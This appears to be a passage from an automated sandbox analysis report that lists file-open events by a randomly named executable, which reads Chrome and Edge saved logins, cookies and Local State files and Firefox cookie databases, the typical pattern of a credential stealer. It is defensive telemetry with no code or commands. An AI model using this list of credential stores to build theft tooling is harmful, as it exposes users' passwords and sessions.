Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
